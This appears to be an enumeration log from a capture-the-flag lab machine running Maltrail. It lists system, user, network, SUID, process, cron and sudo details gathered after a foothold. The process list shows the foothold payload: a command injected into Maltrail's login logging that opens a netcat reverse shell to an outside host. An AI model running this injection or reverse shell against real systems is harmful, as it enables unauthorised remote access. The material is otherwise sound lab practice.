System/Kernel
puma@sau:/opt/maltrail$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a9f157890930ced4c3ad0e74fc1b1b84aad71e6, for GNU/Linux 3.2.0, stripped
linux sau 5.4.0-153-generic #170-ubuntu smp fri jun 16 13:43:31 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.6 LTS"
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal5.4.0-153-generic
Ubuntu 20.04.6 LTS (Focal Fossa)
x86_64
Networks
puma@sau:/opt/maltrail$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8338 0.0.0.0:* LISTEN 870/python3
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 17 10.10.11.224:35882 10.10.14.8:9999 ESTABLISHED 1208/nc
tcp 0 0 127.0.0.1:46570 127.0.0.1:80 ESTABLISHED -
tcp 0 0 127.0.0.1:8338 127.0.0.1:46570 ESTABLISHED 870/python3
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* - 0.0.0.0:8338
127.0.0.53:53
127.0.0.1:8338
Users & Groups
puma@sau:/opt/maltrail$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
puma:x:1001:1001::/home/puma:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
total 12
drwxr-xr-x 3 root root 4096 apr 15 09:17 ./
drwxr-xr-x 20 root root 4096 jun 19 09:41 ../
drwxr-xr-x 4 puma puma 4096 jun 19 12:25 puma/puma@sau:/opt/maltrail$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
uid=103(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm),5(tty)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(tss) gid=111(tss) groups=111(tss)
uid=107(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=108(tcpdump) gid=113(tcpdump) groups=113(tcpdump)
uid=109(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=110(landscape) gid=115(landscape) groups=115(landscape)
uid=111(pollinate) gid=1(daemon) groups=1(daemon)
uid=112(fwupd-refresh) gid=116(fwupd-refresh) groups=116(fwupd-refresh)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=998(lxd) gid=100(users) groups=100(users)
uid=1001(puma) gid=1001(puma) groups=1001(puma)
uid=997(_laurel) gid=997(_laurel) groups=997(_laurel)SUIDs
puma@sau:/opt/maltrail$ find / -perm -04000 -ls -type f 2>/dev/null
16261 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
22727 464 -rwsr-xr-x 1 root root 473576 Apr 3 22:47 /usr/lib/openssh/ssh-keysign
7688 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
7686 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
2245 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
20711 68 -rwsr-xr-x 1 root root 67816 May 30 15:42 /usr/bin/su
1690 68 -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd
1686 84 -rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn
2103 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
1647 44 -rwsr-xr-x 1 root root 44784 Nov 29 2022 /usr/bin/newgrp
6259 56 -rwsr-xr-x 1 root root 55528 May 30 15:42 /usr/bin/mount
1687 52 -rwsr-xr-x 1 root root 53040 Nov 29 2022 /usr/bin/chsh
2552 164 -rwsr-xr-x 1 root root 166056 Apr 4 11:56 /usr/bin/sudo
7043 40 -rwsr-xr-x 1 root root 39144 May 30 15:42 /usr/bin/umount
1689 88 -rwsr-xr-x 1 root root 88464 Nov 29 2022 /usr/bin/gpasswdSGIDs
puma@sau:/opt/maltrail$ find / -perm -02000 -ls -type f 2>/dev/null
72079 4 drwxr-sr-x 3 root systemd-journal 4096 apr 14 17:38 /var/log/journal
80005 4 drwxr-sr-x 2 root systemd-journal 4096 jul 10 21:15 /var/log/journal/639e21ff5f8845cfa768d4c6f1ed568f
72077 4 drwxrwsr-x 2 root staff 4096 Apr 15 2020 /var/local
72073 4 drwxrwsr-x 2 root mail 4096 Jan 10 2023 /var/mail
320 0 drwxr-sr-x 2 root systemd-journal 40 jul 10 19:19 /run/log/journal
9668 44 -rwxr-sr-x 1 root shadow 43168 feb 2 09:22 /usr/sbin/pam_extrausers_chkpwd
17941 44 -rwxr-sr-x 1 root shadow 43160 feb 2 09:22 /usr/sbin/unix_chkpwd
7182 16 -rwxr-sr-x 1 root utmp 14648 Sep 30 2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
1910 44 -rwxr-sr-x 1 root crontab 43720 Feb 13 2020 /usr/bin/crontab
2245 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
1685 84 -rwxr-sr-x 1 root shadow 84512 Nov 29 2022 /usr/bin/chage
2066 16 -rwxr-sr-x 1 root tty 14488 Mar 30 2020 /usr/bin/bsd-write
22718 344 -rwxr-sr-x 1 root ssh 350504 apr 3 22:47 /usr/bin/ssh-agent
1688 32 -rwxr-sr-x 1 root shadow 31312 Nov 29 2022 /usr/bin/expiry
7605 36 -rwxr-sr-x 1 root tty 35048 may 30 15:42 /usr/bin/wall
68785 4 drwxrwsr-x 3 root staff 4096 Jan 10 2023 /usr/local/lib/python3.8
68786 4 drwxrwsr-x 2 root staff 4096 Jan 10 2023 /usr/local/lib/python3.8/dist-packagesProcesses
puma@sau:/opt/maltrail$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 102316 11356 ? Ss 19:19 0:01 /sbin/init
root 467 1.8 5.2 290076 210264 ? S<s 19:19 2:58 /lib/systemd/systemd-journald
root 494 0.0 0.1 20308 6148 ? Ss 19:19 0:01 /lib/systemd/systemd-udevd
root 589 0.0 0.4 214664 18000 ? SLsl 19:19 0:01 /sbin/multipathd -d -s
root 614 0.0 0.0 2488 508 ? S 19:19 0:00 bpfilter_umh
root 619 0.0 0.0 11356 1616 ? S<sl 19:19 0:00 /sbin/auditd
root 636 0.0 0.2 49296 10492 ? Ss 19:19 0:00 /usr/bin/VGAuthService
root 637 0.1 0.2 239496 8220 ? Ssl 19:19 0:12 /usr/bin/vmtoolsd
systemd+ 660 0.0 0.1 19076 7492 ? Ss 19:19 0:00 /lib/systemd/systemd-networkd
root 677 0.0 0.1 99896 5780 ? Ssl 19:19 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 726 0.0 0.1 237316 7448 ? Ssl 19:19 0:05 /usr/lib/accountsservice/accounts-daemon
message+ 727 0.0 0.1 7388 4520 ? Ss 19:19 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 737 0.0 0.0 81960 3744 ? Ssl 19:19 0:00 /usr/sbin/irqbalance --foreground
root 738 0.0 0.4 29868 18160 ? Ss 19:19 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 739 0.0 0.1 232724 6764 ? Ssl 19:19 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 740 9.6 0.3 999308 14624 ? Ssl 19:19 15:12 /usr/bin/rbaskets -l 0.0.0.0
syslog 742 1.1 0.1 224344 5380 ? Ssl 19:19 1:49 /usr/sbin/rsyslogd -n -iNONE
root 744 0.0 0.1 17136 5808 ? Ss 19:19 0:00 /lib/systemd/systemd-logind
root 750 0.0 0.3 393044 12084 ? Ssl 19:19 0:00 /usr/lib/udisks2/udisksd
root 761 0.0 0.2 315108 11100 ? Ssl 19:19 0:00 /usr/sbin/ModemManager
systemd+ 829 0.0 0.3 24576 12588 ? Ss 19:19 0:00 /lib/systemd/systemd-resolved
puma 870 0.0 0.5 103520 21912 ? Ssl 19:19 0:02 /usr/bin/python3 server.py
root 875 0.0 0.1 12176 7300 ? Ss 19:19 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 879 0.0 0.0 8540 2924 ? Ss 19:19 0:00 /usr/sbin/cron -f
daemon 882 0.0 0.0 3796 2300 ? Ss 19:19 0:00 /usr/sbin/atd -f
root 892 0.0 0.0 5828 1836 tty1 Ss+ 19:19 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
puma 1206 0.0 0.0 2608 88 ? S 21:17 0:00 /bin/sh -c logger -p auth.info -t "maltrail[870]" "Failed password for ;`mkfifo /tmp/lnar; nc 10.10.14.8 9999 0</tmp/lnar | /bin/sh >/tmp/lnar 2>&1; rm /tmp/lnar` from 127.0.0.1 port 46570"
puma 1208 0.0 0.0 3332 2032 ? R 21:17 0:00 nc 10.10.14.8 9999
puma 1209 0.0 0.0 2608 596 ? S 21:17 0:00 /bin/sh
puma 1222 0.0 0.0 7356 2328 ? S 21:44 0:00 script /dev/null -c bash
puma 1223 0.0 0.1 9776 4852 pts/0 Ss 21:44 0:00 bash
puma 1326 0.0 0.0 10808 3504 pts/0 R+ 21:56 0:00 ps -auxwww/usr/lib/policykit-1/polkitd --no-debug
/usr/bin/rbaskets -l 0.0.0.0
/usr/bin/python3 server.py
/usr/sbin/cron -f
Cron & Systemd
puma@sau:/opt/maltrail$ crontab -l | cat /etc/crontab ; systemctl list-timers
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
no crontab for puma
NEXT LEFT LAST PASSED >
mon 2023-07-10 22:35:42 UTC 37min left Fri 2023-06-16 14:03:55 UTC 3 weeks 3>
tue 2023-07-11 00:00:00 UTC 2h 1min left Mon 2023-07-10 19:19:23 UTC 2h 39min >
tue 2023-07-11 00:00:00 UTC 2h 1min left Mon 2023-07-10 19:19:23 UTC 2h 39min >
tue 2023-07-11 02:08:17 UTC 4h 9min left Sat 2023-04-15 08:40:15 UTC 2 months >
tue 2023-07-11 02:29:40 UTC 4h 31min left Mon 2023-07-10 19:46:08 UTC 2h 12min >
tue 2023-07-11 03:13:41 UTC 5h 15min left Fri 2023-06-16 16:57:21 UTC 3 weeks 3>
tue 2023-07-11 06:46:01 UTC 8h left Mon 2023-07-10 19:34:04 UTC 2h 24min >
tue 2023-07-11 19:34:51 UTC 21h left Mon 2023-07-10 19:34:51 UTC 2h 23min >
sun 2023-07-16 03:10:46 UTC 5 days left Mon 2023-07-10 19:20:09 UTC 2h 38min >
mon 2023-07-17 00:00:00 UTC 6 days left Mon 2023-07-10 19:19:23 UTC 2h 39min >
10 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-14/14 (END)Sudo Version
puma@sau:/opt/maltrail$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31Sudo version 1.8.31
Glibc Version
puma@sau:/opt/maltrail$ ldd --version
ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31